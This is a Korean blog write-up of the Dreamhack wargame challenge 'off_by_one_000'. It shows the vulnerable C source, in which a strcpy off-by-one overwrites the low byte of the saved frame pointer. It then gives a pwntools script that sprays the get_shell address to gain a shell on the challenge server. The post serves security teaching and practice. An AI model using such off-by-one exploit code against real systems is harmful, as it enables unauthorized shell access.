본문 바로가기

드림핵 워게임

[드림핵/워게임] off_by_one_000

https://dreamhack.io/wargame/challenges/9

 

off_by_one_000

Description 이 문제는 서버에서 작동하고 있는 서비스(off_by_one_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요. 셸을 획득한 후, "

dreamhack.io

문제 파일을 다운 받으면 off_by_one_000.c와 실행 파일이 있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char cp_name[256];

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}

 

1. initialize() 함수 호출 -> 30초 후 실행 종료

2. 전역 변수 cp_name에 read로 입력

3. cpy 함수 호출

4. 지역 변수 real_name에 strcpy로 cp_name 값 복사

5. cp_name 값 출력 -> 실행 종료

 

<정상적인 값을 넣었을 때의 SFP>
<A 256개를 넣었을 때 SFP>

 

디버깅 해 보면 256개의 A를 넣었을 때, SFP의 하위 1바이트가 덮이는 것을 볼 수 있다.

이렇게 SFP의 하위 1바이트가 덮이면 어떻게 될까?

 

<하위 1바이트가 안 덮인 정상 모습>
<하위 1바이트가 \x00으로 덮인 모습>

 

하위 1바이트가 덮인 것과 안 덮인 것이다. 하위 1바이트가 덮이면 변수 한 가운데의 0x41414141을 가리키는 것을 볼 수 있는데, 이를 통해 get_shell 함수를 반복적으로 넣어 256만큼 채워 주면 궁극적으로 get_shell 함수의 주소로 간다는 것을 유추할 수 있다.

 

get_shell 함수는 4바이트이므로 0x40번 넣어 주면 된다.

 

이를 코드로 짜면 다음과 같다.

 

from pwn import *

p = remote("host3.dreamhack.games",15882)

get_shell = p32(0x80485db)
payload = b""
payload += get_shell * 0x40

p.sendafter(b"Name: ", payload)

p.interactive()

 

'드림핵 워게임' 카테고리의 다른 글

[드림핵/워게임] out_of_bound_000  (0) 2023.08.17
[드림핵/워게임] off_by_one_001  (0) 2023.08.17
[드림핵/워게임] sint  (0) 2023.08.10
[드림핵/워게임] ssp_001  (0) 2023.08.10
[드림핵/워게임] ssp_000  (0) 2023.08.10